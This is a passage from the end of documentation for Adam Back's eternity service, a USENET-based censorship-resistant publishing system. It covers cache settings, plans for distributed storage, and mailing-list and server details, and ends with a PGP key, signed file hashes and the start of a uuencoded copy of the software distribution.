You can find a list of mail2news gateways here:

    http://www.replay.com/mail2news/

People are already working on a nice easy to use CGI interface to eternity 
servers over on the eternity list while I'm typing, so perhaps when you read 
this you won't need to know the above information in such detail.


Caching
======================================================================

With WWW technology, caching is often used to speed up accesses.  There are a 
number of caches in effect with a typical web browsing session.  The Netscape 
browser for instance has both a memory cache, and a disk cache, which are 
configurable in size.  In addition Netscape can be set up to use a proxy cache,
which is a special caching service.  Users of a proxy cache send their web 
requests through it.  The proxy cache checks each request to see if it has it
in the cache, if it does, it can deliver it back if quickly.  If it doesn't it 
will go and fetch whatever URL you are asking for and remember it for next 
time.  A proxy cache would normally be used by a group of web users, perhaps a 
university campus, or an ISPs customers, or a companies employees.

Caches traditionally have some protection from censors -- it's an automated 
process after all -- your average ISP hardly wants to be responsible for the 
contents of the disk on its proxy cache machine.

For performance reasons the eternity server also has a cache.  The cache 
behavior is configurable.  The server operator can set his caching preferences 
when he installs the server by editing eternity.conf.  Possible settings are 
"on", "off" and "encrypted".  Setting cache to "off" is safest, then you have 
no eternity documents on your disk.  The "encrypted" cache option means that 
cached documents are encrypted with PGP -c and the SHA1 hash of a 1 prepended
to the URL.  If the server also turns off directory service, and does no 
logging this provides reasonable deniability of knowledge of contents of 
documents in the cache.  Even with directory service on, it provides cache set 
to "encrypted" provides protection in that the server operator will not know 
the URLs of exdirectory web pages.


Further work
======================================================================

There are a few unimplemented features that could use some work.  These 
features are being discussed on the eternity mailing list (see instructions 
for subscribing below).

A first immediate problem is that the eternity server has no cache replacement 
policy.  Your eternity cache will just keep growing.  This is great for 
ensuring articles with caching turned on don't disappear due to expiring in 
the news spool, but as eternity grows more popular it will become impossible 
for each single eternity server to hold the full document store.

The solution to this problem is quite complex, and is the subject of the next 
implementation effort on the mailing list.  One interim solution is to use the 
USENET searching facilities of services which archive USENET such as 
www.dejanews.com and www.altavista.digital.com.

There are several tweaks that would have to be done to be able to use USENET 
archivers as sources of eternity documents.  Two main problems have to be 
combated: 1) the archives make attempts not to archive 7-bit encoded binaries 
to save space, 2) you can't search by 40 character hex numbers to find subject
fields.  These are both easy to overcome, but the overall solution is not that 
attractive because the archivers will be a single point of failure.  Censors 
will attack them, and they may be hostile to eternity servers due to our 
bypassing their 7-bit encoding filters and consuming space on their soon to be
multiple TB raid file servers.

A better solution is to build a distributed data store that allows eternity 
servers to exchange documents with each other in such a way that the eternity 
servers together form a virtual raid file-server where the documents are 
spread randomly and redundantly over the nodes.

A simple starting point to allow this is to create a second long-term cache 
area, and to have a cache replacement policy for that area which selects a 
random document for discarding.  This cache replacement policy will ensure 
that statistically some servers will have a given document.  Next we have to 
design a scalable method of forwarding requests to other servers to ask for 
old USENET articles by URL hash (subject field).


World-FS
======================================================================

Another approach to improving the eternity server is to actually use and 
develop the full set of techniques described in Ross Anderson's paper to build 
a distributed file system (DFS).  I dub this direction `world-FS' because the 
aim is to build a worldwide distributed, redundant, uncensorable, and virtual 
file system.  This file system would be designed to withstand a nuclear war, 
and to easily withstand the best efforts of one government to censor material 
in it.  A world-FS done well could easily replace the current pattern of web 
page hosting.  

The world-FS would have different interfaces, or drivers, to allow it to be 
accessed as an NFS file system, or as a distributed web based eternity service.
The eternity server described in this document would then be superseded, and 
become the HTTP driver interface for world-FS.  An FTP, or NNTP (USENET news) 
interface could also be built for the world-FS, or for parts of it's directory 
tree.  People discussing this so far have thought that you would need to 
include ability to pay for service with an anonymous payment system (or with
multiple payment systems).

The eternity mailing list is also for discussion of world-FS, as it all falls 
under the umbrella of Ross Anderson's concept of an `eternity service'.


Comments and collaboration requested
======================================================================

Your contribution matters.  Progress of the eternity service beyond this point 
relies on a collaborative effort.

You can collaborate by doing any of the following and reporting back to the 
eternity mailing list how you got on (subscription instructions below):

    - submitting documents to the eternity document store
    - installing an public access eternity server in your account
    - or persuading your ISP to install one
    - or installing a private eternity server in your account
    - finding and reporting bugs to the mailing list
    - contributing code
    - contributing ideas for more efficient distributed request protocols

Adam Back


More information
======================================================================

Eternity mailing list

    send message "subscribe eternity" to majordomo@internexus.net

The eternity mailing list is for eternity service users, eternity server
operators, and eternity server developers to discuss issues to do with 
eternity.  Issues include censorship attempts, operator liability, practical 
attacks on the security, and discussion of new protocols, and discussion 
amongst developers and users on the best way to design the next versions.


Cypherpunks mailing list

Cypherpunks write code.  Cypherpunks are the people who bought you type I and 
type II remailers, remailer clients, plus many, many other crypto applications.
Governments are scared of the implications of distributed systems and freedom 
to use cryptographic code.  Cypherpunks are crypto-anarchists, and they shall 
inherit the earth.  Information is power, and cypherpunks are applied 
cryptographers with attitude.  They don't care if governments don't like their 
code, in fact they probably view it as a compliment.  You'd be surprised at how
many cryptographers, net journalists, cryptographic consultants, small ISP 
owners, and Netizens are crypto-anarchists at heart.  Netizens never were very 
keen on government intrusions into the 'Net.  Read Tim May's Cyphernomicon for 
a mega-faq on cypherpunks, and crypto-anarchy.  See:

    http://www.cc.oberlin.edu/~brchkind/cyphernomicon/

To subscribe to cypherpunks:

    send message "subscribe cypherpunks" to majordomo@cyberpass.net
or  send message "subscribe cypherpunks" to majordomo@algebra.com
or  send message "subscribe cypherpunks" to majordomo@ssz.com

(Some time ago there was an attempt to impose moderation on the cypherpunks 
list, and this is the reason for this rather curious situation of multiple 
mailing lists, it is designed to be more resilient to censorship -- if someone 
pulls the plug on one list -- the rest continue without glitch.)

Cypherpunks is a high volume mailing list.  There is no moderator,

Software

    http://www.dcs.ex.ac.uk/~aba/eternity/

Please set a server up a public access eternity serve in your account.  You 
can also operate your own eternity server for your own use -- this is the more
secure way to browse eternity.  If you have any kind of dial up or internet 
connected Unix system you can do this.

You'll need a web account with cgi capability, access to perl5, and read 
access to an NNTP news server, or a local news spool.  Cron access is useful 
but not essential.

Current Public Access Eternity Servers

    http://www.replay.com/aba/eternity/
    http://moloko.insync.net/eternity/
    http://eternity.internexus.net/
    http://eternity.infinetways.net/

Contacting the author

    aba@dcs.ex.ac.uk
or  A.Back@ex.ac.uk
or  aba@replay.com

PGP encrypted mail preferred, here's my key:

Type Bits/KeyID    Date       User ID
pub  2048/28B24551 1995/09/09 Adam Back <aba@dcs.ex.ac.uk> (High Security)
           Key fingerprint = 01 8F 04 06 5C DD F3 33  D8 84 C4 63 85 BA 50 E8

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQENAzBRMbMAAAEIANoe/ABNaJv6/ETtDzlih4P3znc63CMP4ViFWStxyeWWjxd2
L8WOsM0b1naV4YmeRrd34GUsnZFetItToVqsvT5tKcwJKHwEWeXEQMbCM3cbaAxB
+MGSx9PoLRc4ZLz79q/hMQXybNKmw5Rk7NwsyLiejZR+jt2Eoy/BHeFMunxfXD8j
38927FZBxG3UgCbL75ImJhWVsn8IoDOJ5psTfJwRcAZlkxsrpDSx2OIb6G35+pwm
mEv8O066wOij7eMTQ8VQ5+rbn2ql0Ubsz3qA2szP2KZYlmobjwj5M82dmLcPfG9C
bExMBldd8poJyBCn0e04kAFiGBJJPnvKqCiyRVEABRG0LEFkYW0gQmFjayA8YWJh
QGRjcy5leC5hYy51az4gKEhpZ2ggU2VjdXJpdHkpiQCVAgUQMli+7B98EdWB2LS9
AQFF0gQAjiAOPPCs7s0VCHoFI2IWMEcAeQInmnl2p+6rpsvIxjX1v3wBqqstgBu5
aCLY9Uns+iKjzcnt5DTj6NPhJ8EOlefwgHUssiBLTsw7tOvT9fQwcIXOE5ikGP7j
RObTq3a2Vtz4/O/YgN0KQnWcqTDuadeP17cJ2bbaWJpZiGDyWGSJAJUDBRAyIN+r
RlGJMStI9vUBAXJTA/4wzbGnP9X0luqRYcfj51bamX9WdTDG9A8AvKngTbMG87x2
jV6vUicIP9XMERSl6fgT35Q2BYSCKGlhH5gGYkC+IfkyMZFHvZMdATurb4MuRivW
pv30gTVstoF61CN3JKF1N/j1Ez2LOfFWFW+miceowAPrKr3e3zHCRXyewv75BIkB
FQMFEDBW0M+xVzBJFqEkZQEBBQEH/AnpNhKJh1IPmii7X7xxmccMKFnq5R2DAP4Z
+OJQ/otoy6AXifI9Y5aDYnm7sbPZX9uBk93ubf4Zm/v9wOcOKL6hXcE4+tvGSQA+
rAPgph1+t96iDTSTGwf5ZKVp+LfJXBz63wZHDJ+JlSTDRl9YeSxeRZgAo2XJtI/h
v7fazds4CK0jFwDSWUtQUd7my9znsJ92W0UONe6iltnFUvywUICNGyXxCHV4RDPv
/wTmDKarzHm44OfdzXhI+oTQvY3lG51gU6TMjR6Q/bjy9YEYpTcDRvOpMmkJ4aud
tCxG/w82OG6lKnFw8Hv46VcpQVPt2YZMbgjUJBIQi6FedDjeky6JAJUDBRAwUUqY
Kci4nVVqSmcBAaFJA/wJ0vcYZm8V7gqlk+nDzjIDvGNP1IaQtBFaXE/imyQaqyKe
oIsyzhCWCNnsCvu8Cq2ZwmD63wBKzs+63ZgzJ7h1hC4lYKUB1mCsF0UnrZNJ7rtW
DVMa0aLlvxIia7qsmbhaZ6ibs5+juqn3CKUvjCJKyOpuS0Lmrem5EXk9Byu5/IkB
FQMFEDBRSjc+e8qoKLJFUQEBWjEH/3yb3JYhsjoqZdEjA1xSZJcjyoTnPG0vUhaD
oi6OhTByqYShLe14RU9rYDzpOGmdwpZ6GSwF4X0uBAH1lCGnsi6QQXrnsp1fBq/6
+TQy1nBs2FZyj/YTXQIKhhXIH700ed0Nqg4okwtovyUqX0xbqlA2Sv1N+XC6hKuc
bl9XWOQbKi8OM8VEKeLnrY9Glzrxk9piVb+eCT1RJnLovWdfPL7WFOwSbOQ/I9aB
jBKBHYMGdLihf7PYeb3Eg3B8Kt3IDfipPUFfXjqes94hpqQl/DGpWSpDHHFQ5cTB
iQIB4twFzz4bI1HMVEayKboPliJl3dI9vY0SQJ58b6OFYJTB4Jc=
=E4rO
-----END PGP PUBLIC KEY BLOCK-----


Here are SHA1 hashes of the eternity service distribution

<++> hashes.asc
-----BEGIN PGP SIGNED MESSAGE-----

eb32d19e992e4663df29141cedf6ec0aa3f92af3 pgp/config.txt
7b1da1bd199b2dded10216a3d19e4b05bbb66c90 eternity.conf
a44cec86d7d0f1cf1239f1c00bb21dc3476148b4 sha1.pl.dist
1f9f7860c8c2d5b376c8bffa7417ffe54b8b1429 newsgroups
926a9630fd214b756ecc18658d813017b288bf2c sha1/sha1.c
58989aa6f40b06136d078a96ad958b482756fe8f sha1/endian.c
2d46e74b805ee06d3960ff756a09407f0b3267fa sha1/sha1.h
21e7e596a715c6ed247f9444393df675d7447f23 sha1/endian.h
5f9c194f542960c8e7f9f6d81f84cd3b62dd4032 sha1/sha1file.c
4544f194e381a3b64150f3761900993d28c5f465 sha1/sha1test.c
ea58eec253cdb4af6d3958d94cebfbe39988da44 sha1/timer.c
22a60ac9aa0242ad6ee00da8781500c5c1311837 sha1/timer.h
67d37d81d0064c2a0a1a369cba2cfc2f9d878803 sha1/types.h
f7691ef67ac7a111082c6730b045ea2dc00dd903 sha1/compiling
01a7b85827ff35583bd11cecb7470c4917fdd0ea sha1/README
efc53ecc93eb1105341f4e250ecf654a44a11394 sha1/Makefile
5375b154bd0724dc0c6ee6fac59bbc5c93a6a209 adam-key.asc
0b9849c2332e5d7aa7714adc67861465d99b34db mime.types
b50a661ba69747c8969ebfb9c997eaf0f1b75893 README
d498a12d0a795d3ae22bc059631293b0a0ab4cd1 ANNOUNCE
ba8ccee1f86dc5872b5ce95c0e2e494924b927f8 configure
6f9bcf72be9f836f5201bc430cc764828fda68ba news/alt/anonymous/messages/1
ac26faf5df1e14eaefa6e0e05f5be2d2f1ee67db news/alt/anonymous/messages/2
75ead2fb83bf3fa2c701b70741097f4956fb9043 news/alt/anonymous/messages/3
4c892147c69fcfb60803587c5606427d1641d473 ecat
fa3b13f3e8241936795d97f72fe647f0a4a26902 CHANGELOG
31cc2c663972f536922f3603625804a42b40c367 UTILS
08120e964cb8b61f2c95ac155a3f75ce8b27535b dcrypt
0fded38fd70c8626551e7bb21657cd960c2b8f67 sitegrab.dist
7121ab8cd3e54bc962524054c95316b28d8c76e4 dev/submit
56a1cb622bf8df7f863e8449a97ef8746a0d2469 dev/submit.html
f1b6720b0861b1d79fbedcfa4cc694b1172c81a1 SITEGRAB
428d389aa228d9e96c678d4400179df1ab5db0a3 fred.asc
3ed6458862762fa993a900ec1b5dc8e2c739f61c eternity.gif
5ea784f32dc51d74ae98134adcd93126230d5a0f rsa.gif
2c62082f57ca8c0019f741d04f5f14133976bb15 cypherpunks.gif
3d7f09b91b04577dc4406eb9493753dc1e3ba7d2 datahaven.gif
8016173f3db9fccd0b787c9682e7b7bec1ada3b8 index.html.dist
108e0ef9d29387e3cf57b68614a4e8b2961c2d02 disclaimer.html
7ca4684965a7b4d51ad032f85c20480f0cd175fe eternity.cgi.dist
08b072350488abc3ac6337ce95d7cf881e1f547b directory.html.dist
769d9620c85de07a3ce6703a39b56eafdd3cad9d host.html
24f17a65a4a637d60c5cbaab485eda231adb62c6 dbmcat.dist
584d76031069f89fef3288cdbb6bed6e89ec7fd6 ecrypt.dist
122584c63267811628cc790ef898e9d651cdc728 LIST

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM/L+RT57yqgoskVRAQHpdAgAjbGfqr4FaycrS/LOHq4TnAQIBoTYx+6k
cG9DTnUMp/gQSXqwBzvSv1bmou/+nwvH/qC5UgXc7Ko98rT8+tAatfrZj3u1g36M
a63oWtonLFJowOO8w1jBiPSpl44kT25hPYZ2qUscVC1qGzbSmutHhDyToY4y4i7L
v2TARR4Jq3dJI67WT63dxr1/o+AnTtNZBTq5c9z5LzfQWVfP9HRaOgYXF6d4LrVZ
7NF3YKImEe5914L45CUW+OjJcsabGufFVj4waR0kNhdmA7ZQT3cxkg5Ygv6jhtcn
q7Ys67hMAYU0TGrxvyogEy23FyzXC5wi1JY2NBYnE+AuJXObDGB85w==
=Xfz4
-----END PGP SIGNATURE-----
<-->

<++> es.tgz.uue
begin 600 eternity-0.10.tgz
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
